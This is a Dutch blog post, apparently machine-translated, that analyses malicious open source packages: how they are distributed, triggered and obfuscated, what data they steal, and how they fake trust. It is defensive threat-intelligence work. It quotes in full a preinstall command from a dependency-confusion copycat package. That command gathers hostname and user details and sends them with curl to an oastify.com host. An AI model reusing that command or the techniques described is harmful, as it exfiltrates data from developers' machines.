In de vorige aflevering, Open Source kwaadaardige pakketten: het probleem, bespraken we waarom de dreigingsactoren zo waren enthousiast over het publiceren van nieuwe kwaadaardige componenten of het injecteren van malware in de nieuwste versies van bestaande componenten: dankzij de open source-infrastructuur kan iedereen waar dan ook een kortstondig account aanmaken in een componentenregister (zoals NPM, PyPI, Docker Hub of Visual Studio Marketplace) of een gezamenlijk ontwikkelingsplatform (zoals GitHub). Geen kosten en veel mogelijkheden om gebruik te maken van het overtollige vertrouwen dat softwareteams traditioneel hebben in componenten van derden.
De asymmetrie tussen hoe gemakkelijk het is voor aanvallers om malware te verspreiden met behulp van de infrastructuur die beschikbaar is voor open source, en hoe moeilijk het is voor organisaties die software ontwikkelen (iedereen?) om te voorkomen dat ze geïnfecteerd raken met malware (en om malware af te leveren in de software die ze daarvoor distribueren). anderen), heeft ertoe geleid dat vorig jaar bijna een kwart miljoen aan kwaadaardige pakketten werd bereikt.
Dit is een probleem van zo'n omvang dat geen enkele organisatie het kan oplossen, en de gemeenschap is bezig met het herdefiniëren van het open source-proces met betrekking tot vertrouwen, de principes van secure-by-default en secure-by-design, en de levenscyclus van componenten. We zullen dergelijke ideeën in de volgende aflevering bekijken Bescherming tegen kwaadaardige open source-pakketten: wat werkt (niet)?.
Vergeet niet dat we het hebben over softwarecomponenten waarmee we meestal overeenkomen softwarepakketten: herbruikbare componenten die zo zijn verpakt dat er naar kan worden verwezen als een afhankelijkheid in een softwaremanifest, en kunnen worden geïnstalleerd met een pakketbeheerder of buildtool. Houd er rekening mee dat deze zaak kan worden uitgebreid tot het publiek container afbeeldingen (gebruikt door containerruntimes en orkestratieplatforms zoals Kubernetes), en uitbreidingen van softwaretools (voor bouwen, automatiseren en implementeren).
Hier analyseren we hoe dit komt aanvalstactiek gebaseerd op kwaadaardige componenten werkt, volgens voorbeelden uit het verleden en wat we hebben gezien op ons platform voor Malware Early Warning (MEW). We zullen kwaadaardige componenten in verschillende dimensies ontleden:
(1) de gekozen manier voor distributie (gebruikt register, in een nieuwe of bestaande component, en de techniek die wordt gebruikt voor het infecteren van de gepubliceerde componentversie), (2) hoe de malware wordt geactiveerd of getriggerd, (3) het kwaadaardige gedrag, dat wil zeggen welke schadelijke acties worden waargenomen en wat de motivatie van de aanvaller is, (4) welke technieken gebruikelijk zijn voor verduistering, verbergen om onopgemerkt te blijven, zijwaartse beweging, communicatie met command-and-control-hosts (C2), enz.; en (5) de technieken om voldoende populariteit en vertrouwen te winnen, zodat de slachtoffers uiteindelijk de component installeren.
Het gekozen distributiemechanisme
Wij constateren een “achtergrondgeluid'van ongecompliceerde kwaadaardige pakketten die typosquatting gebruiken om onoplettende ontwikkelaars te phishen met een typefout in de pakketnaam vanwege hun afhankelijkheid. Veel populaire pakketten ontvangen een spervuur van pakketten met gelijksoortige namen en typefouten, in de verwachting dat ze sommige onoplettende ontwikkelaars zullen phishen.
Ze gebruiken een kortstondig account, publiceren een groep typosquat-pakketten, creëren een andere en publiceren nog een groep... Met behulp van wat automatisering en vindingrijkheid kunnen ze wat verfijning krijgen, maar meestal zijn ze nogal triviaal. Intern noemen we ze “ansjovis”. Het stelen van inloggegevens is het hoofddoel, maar af en toe zien we dat spyware de broncode of gevoelige gegevens zoals persoonlijk identificeerbare informatie (PII), het vastleggen van het klembord en andere twijfels exfiltreert.
Uit het niets komen we meer geavanceerde kwaadaardige componenten tegen, de “haaien”. Een minderheid richt zich op specifieke groepen of organisaties, meestal met crypto-drainers of webskimmers die voorwaardelijk worden geactiveerd, misschien volgens de aanpak die wordt gezien in de event-stream-incident van het alleen decoderen van de aanvalslading wanneer er vanuit een doelpakket naar het pakket wordt verwezen.
Het distributiemechanisme werd geanalyseerd in het uitstekende en nu klassieke artikel: “Backstabber's Knife Collection: een overzicht van aanvallen op de supply chain van open source-software”, wat een must-read is. Je hebt deze mooie grafiek vast al eerder gezien:
Alle mogelijkheden werden verkend, inclusief nieuwe en bestaande pakketten; invloed hebben op de broncode, het bouwsysteem of de verpakte component zelf; het gebruik van gestolen inloggegevens of social engineering; het kapen van verlaten accounts en opslagplaatsen of het vergiftigen van onderhouden accounts. Sommige aanvallen kregen namen (typosquatting, Afhankelijkheid verwarring, Kennelijke verwarring, Repo-jacking. enz.) en werden elders al besproken.
Hoe zit het met de gekozen registers?
NPM blijft koploper in het totale aantal kwaadaardige pakketten, maar we zagen vanaf dit jaar een piek op PyPI. Python is een populair ecosysteem voor datawetenschap en machine learning. Sterker nog, de malwaredichtheid is nu hoger in PyPI dan in NPM.
Hoe de malware wordt geactiveerd
Slechts in 4 op de 10 gevallen worden schadelijke pakketten geactiveerd tijdens de installatie (de afgelopen jaren was dit bijna 6 op de 10). De rest vertoont kwaadaardig gedrag tijdens runtime, waarbij 1 op de 100 wordt geactiveerd tijdens het uitvoeren van tests. De tegenstanders lijken te weten dat de ongecontroleerde uitvoering van installatiescripts op veel plaatsen is uitgeschakeld.
Wat krijgen de slechteriken?
We zullen de categorieën van schadelijk gedrag opsommen, waarbij de meest populaire bovenaan staan. Houd er rekening mee dat de impact heel anders kan zijn: veger is koppig destructief, maar komt niet vaak voor en werd slechts in enkele gevallen waargenomen, gerelateerd aan gerichte cyberoorlogscampagnes of bruut hacktivisme. De volgende categorieën komen vrij vaak voor:
- InfoStealer / Credentials Drainer. Verreweg de meest voorkomende, meer dan 90% van de ongecompliceerde aanvallen, zijn eenvoudige diefstallen die voornamelijk op zoek zijn naar inloggegevens zoals wachtwoorden, toegangstokens, API-sleutels en privésleutels (voor SSH en dergelijke). Het is waarschijnlijk het eenvoudigst om te schrijven (samen met ruitenwissers?). Ze inventariseren bekende bestanden/mappen en andere bronnen (bijvoorbeeld registersleutels), verpakken de inhoud en sturen die gegevens naar een C2-server. Het idee is simpel: “Ik publiceer een stealer voor phishing-inloggegevens, zodat ik de inloggegevens later kan gebruiken voor het lanceren van een gerichte aanval”.
De waargenomen C2-netwerken zijn doorgaans goedkoop en smerig, zoals Telegram-kanalen of ngrok-achtige tunnelingtools (vaak in de vorm van omgekeerde proxy's die worden weergegeven via uitgaande VPN-IP's). Er zijn honderden (!) mogelijkheden, met veel GitHub-projecten onder de noemer onderwerp over wachtwoordstelen. Specialisaties zoals keyloggers komen zelden voor bij kwaadaardige pakketten en containerimages, maar komen vaker voor bij toolextensies, waar gebruikersinteractie wordt verwacht.
- Druppelaar / Downloader. De tweede in populariteit, en komt doorgaans op de eerste plaats bij aanvallen in meerdere fasen. Meer dan één op de drie kwaadaardige componenten heeft droppers (als de kwaadaardige payload in het pakket zit) of downloaders (de payload wordt gedownload van een eindpunt onder controle van de aanvaller). De payload is vaak een bekende variant van binaire malware en wordt uitgevoerd en soms gehandhaafd voor het installeren van backdoors, spyware, crypto-drainers en andere gebruiksscenario's. De gedownloade of geïmplementeerde payload start een aanval in de tweede fase met alle kracht die wordt geleverd door bestaande binaire malwarebestanden. De binaire bestanden kunnen binnen het pakket worden gedistribueerd, vaak vermomd als afbeeldingen of zogenaamd onschadelijke bestandstypen, om detectie te voorkomen tijdens het verbinden met onverwachte sites.
- Cryptocurrency-stealers / mijnwerkers. Financieel gemotiveerde tegenstanders zijn bereid uw cloudmiddelen te gebruiken voor het uitvoeren van cryptominers (ze detecteren zelfs of deze in een cloud-VM draaien). Het gaat hen niet om de lage winstverhouding van $ 1 voor elke $ 53 die aan het slachtoffer in rekening wordt gebracht voor de gestolen cloudinfrastructuur. Slachtoffers zijn zich daar mogelijk pas van bewust als ze een onverwachte rekening ontvangen. Gelukkig komt en gaat dit. Cryptojacking campagnes in kwaadaardige pakketten duiken af en toe op en vervagen vervolgens, phishing voor portefeuillegebruikers of richten zich uiteindelijk op de portemonnee-aanbieder, zoals in de Grootboek aanval.
Ander gedrag, zoals het inzetten van een achterdeur voor het uitvoeren van code op afstand door het openen van een omgekeerde shell komt nu minder vaak voor dan in het verleden. Bijvoorbeeld de 123rf_contributor_web pakket (nu verwijderd uit het register) wordt zonder enige verwarring geopend, een omgekeerde shell gekopieerd en geplakt vanuit het Omgekeerde Shell-spiekbriefje:
Naast legitieme en kwaadaardige componenten hebben we verschillende vormen van misbruik waargenomen, waaronder:
Spampakketten
Er zijn duizenden kleine pakketten, meestal in NPM, zonder malware maar met veelbelovende gemakkelijke inkomsten, snake-olie, links naar Viagra-aanbiedingen, en zo. Een paar gebruikers publiceren dergelijke spam en nemen veel bandbreedte uit het register. Een andere actor(en), mogelijk uit Indonesië, probeerde er voordeel uit te halen misbruik maken van de theerank bedoeld om open-sourceontwikkelaars te compenseren, door tienduizenden onderling gerelateerde NPM-pakketten te maken met gerelateerde GitHub-dummy-repository's. Dit is een duidelijke schending van de gebruiksvoorwaarden.
Bugbounty en hoaxes op het gebied van beveiligingsonderzoek
Wanneer een pakket zichzelf beschrijft als het exfiltreren van gegevens voor goede doeleinden, zoals het opsporen van beveiligingsfouten voor bugbounty-programma's of het onderzoeken van bepaalde aspecten van het ecosysteem. We hebben duizenden pakketten in deze categorie gezien, die identificatie maar niet te gevoelige gegevens ophalen naar een Burp Collaborator-adres van PortSwigger (bijvoorbeeld een host in het oastify.com-domein). We observeerden vaak copycats van de Afhankelijkheid verwarring proof-of-concept door Alex Birsan, zoals de aurora-webmail-pro package (verwijderd uit het register), dat eenvoudigweg deze vervelende code uitvoert in het pre-installatiescript:
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done")
En bevatte ook een “Dit is een eenvoudige proof of concept van een afhankelijkheids- en verwarringsaanval”disclaimerbeschrijving in de package.json. Dit is een duidelijke schending van de servicevoorwaarden, zelfs zonder kwade bedoelingen.
Wat goed nieuws? We hebben (nog) geen ransomware-aanvallen gezien via kwaadaardige componenten. Om onbekende redenen lijken cybercriminelen de voorkeur te geven aan meer traditionele e-mailphishing, op RDP gebaseerde mechanismen en drive-by downloadafleveringsmechanismen.
Aanvullende technieken waargenomen
Er werden veel technieken gebruikt voor volharding, verdedigingsontduiking, informatieverzameling, communicatie met command & control-hosts en exfiltratie.
Volharding in kwaadaardige componenten wordt verkregen met behulp van de persistentiefuncties van binaire malware in de tweede fase, maar soms bevindt het gedrag zich in de pakketcode, waarbij geplande taken en wijzigingen in het Windows-register de meest voorkomende zijn.
verduistering is gebruikelijk, maar ongekunsteld. De meeste typosquatting-pakketten (denk aan de “ansjovis”?) gebruik helemaal geen verduistering; velen gebruiken ofwel triviale codes (base64/hex-codering of vervangingscijfers zoals rot13) of gebruiken beschikbare code-verduisteraars en minificatie, wat gemakkelijk kan worden teruggedraaid met het juiste gereedschap. Alleen de ‘haaien’ doen aan echte, hardcore, verduistering en moeilijk te reverse-engineeren.
Verduistering kan de aanval verbergen, maar waarom zou code in een open-sourcecomponent verduisterd moeten worden? Zijn er aanwijzingen dat iets aan het zicht moet worden onttrokken? We hebben veel voorbeelden gevonden van niet-kwaadaardige pakketten die verduistering gebruiken om intellectueel eigendom te beschermen, wat in tegenspraak is met “open source”. Verduistering kan worden gebruikt als bewijs van malware, maar is niet doorslaggevend. Het is ook moeilijk om te de-verduisteren.
Verroering van defensiecontroles maakt gebruik van eenvoudige technieken. Schadelijke code wordt vaak beschermd in proberen te vangen blokken die uitzonderingen negeren, zodat abnormale activiteit niet in de logboeken wordt weergegeven. Verificatie van de omgeving (uitgevoerd in een VM of container) komt zelden voor, tenzij het gaat om malware die zich richt op een bepaalde organisatie of omgeving.
Het maskeren van binaire bestanden in afbeeldingen en PDF-bestanden (een soort steganografie) was een andere techniek die detectie kon omzeilen.
Omdat de meest voorkomende kwaadaardige componenten infostealers zijn, het verzamelen van gegevens is essentieel. Geheimen (wachtwoorden, toegangstokens, API-sleutels, cryptografische sleutels) worden routinematig gescand in logbestanden, omgevingsvariabelen en zelfs op het klembord (gezien bij banktrojans en crypto-stelers). Broncode-exfiltratie is ook gebruikelijk, omdat de pakketinstallatie vaak wordt gedaan in een ontwikkelingsknooppunt waar interne git-repository's kunnen worden gekloond. We hebben pakketten gezien die mappen opsommen op zoek naar git-repository's. Het zoeken naar locaties zoals .env, private.pem, settings.py, app.js of application.properties is heel gebruikelijk.
Exfiltratie is een andere veelgebruikte actie. Slechts een minderheid van de kwaadaardige pakketten probeert zelfs de bestemming van de geëxtraheerde gegevens te verbergen. Telegramkanalen en ngrok-achtige tunnels worden vaak gebruikt. En dat zijn er veel doorgaans op de witte lijst geplaatste domeinen die worden gebruikt voor exfiltratie.
Andere technieken, zoals escalatie van privileges of zijwaartse beweging, kwamen minder vaak voor.
Het verkrijgen van populariteit en vertrouwen
Stel je een techcrimineel voor met een kant-en-klaar killer-kwaadaardig ding dat zich afvraagt: “Hoe maak ik dit stukje s#$! betrouwbaar voor die nietsvermoedende idioten?“.
Dat vertaalt zich in hoe je de invoer maakt voor het kwaadaardige component om veel sterren/forks (voor populariteit) te tonen, plus versies/problemen en pull requests (voor activiteit). Het idee is om fictieve populariteit (sterren) en afhankelijkheden te verkrijgen, en een overtuigende uitstraling met betrekking tot relevantie en onderhoud.
Het register controleert niet of de inhoud van een GitHub-project en de pakketinhoud overeenkomen. Dit is een bekend probleem in de software supply chain. De openbare registers zijn gigantische sinkholes die alles opslokken wat naar hen wordt gegooid. U kunt elke repository koppelen.
Als het kwaadaardige pakket een populair pakket typt, is dat eenvoudig: verwijs gewoon naar de bestaande GitHub-repository in het dependencies-manifest dat wordt gebruikt voor het maken van het pakket en het publiceren ervan in het register. Voor nieuwe pakketten op een nep-GitHub-opslagplaats heb je misschien meer vindingrijkheid nodig, en misschien nep-pakketten sterren kijken/vorken GitHub-accounts via scripting.
En als de inhoud van uw pakket redelijk vergelijkbaar is met de repository, breng dan hier en daar een paar goed ontworpen wijzigingen aan... U kunt uw malware injecteren in een nieuw pakket dat lijkt op een populair pakket, verwijzend naar de bestaande repository, en wachten op de typefouten . Als iemand de inhoud van de tarball van het pakket durft te vergelijken met de inhoud van de GitHub-repository, kunnen de verschillen op de malware-injectiepunten gemakkelijk over het hoofd worden gezien. Deze aanpak hebben we al vaker gezien.
Een mechanisme voor een component om een fraudebestendige verklaring af te leggen over de herkomst, hoe het pakket is gebouwd, uit welke bronnen en door wie, zou welkom zijn. Maar dat is een ander verhaal.
Is component X malware?
Bestaat er een (uitgebreide) database met kwaadaardige pakketten? Nee. Aan open source-kwetsbaarheden is een CVE-ID toegewezen, maar slechts enkele kwaadaardige pakketten (vooral degene die de krantenkoppen halen) krijgen er een. De CWE voor kwaadaardige pakketten is CWE-506 (ingebedde kwaadaardige code).
De gebruikelijke malwaretools (VirusTotal, MalwareBazaar, SOREL-20M…) maken geen specifieke voorzieningen voor kwaadaardige componenten. Dat zou welkom zijn!
Er zijn onderzoeksvoorbeelddatabases en datasets voor analyse (we gebruiken er een paar), maar de gegevens worden alleen bijgewerkt als het kwaadaardige pakket bekend is, wat vaak te laat is. Als u geïnteresseerd bent, de OpenSSF Kwaadaardige pakketten is een mooi begin.
In het volgende bericht bespreken we hoe je kunt weten of een bepaald pakket schadelijk is. Spoiler: ja, er zijn manieren om vroeg tijdens de blootstellingsperiode op kwaadaardige componenten te controleren, voordat het register een bekende kwaadaardige component verwijdert.
Verdere lezing
In de volgende aflevering “Bescherming tegen kwaadaardige open source-pakketten: wat werkt (niet)?" we bespreken de do's en don'ts voor open-source beveiliging. De meeste beveiligingsbewuste professionals hebben intuïties over hoe ze met deze dreiging moeten omgaan, maar er zijn veel misvattingen.
We zullen bekijken waarom deze ideeën verkeerd zijn, en hoe dergelijke misvattingen bijdragen aan de populariteit van dit aanvalsmechanisme en aan het overweldigende risico dat organisaties lopen. Vervolgens gaan we verder met wat wel werkt en welke inspanning en middelen daarvoor nodig zijn.
We gaan ook berichten plaatsen over de evolutie van kwaadaardige pakketten in termen van hun intentie, injectiemechanisme en aanvalstechnieken.
Stay tuned!
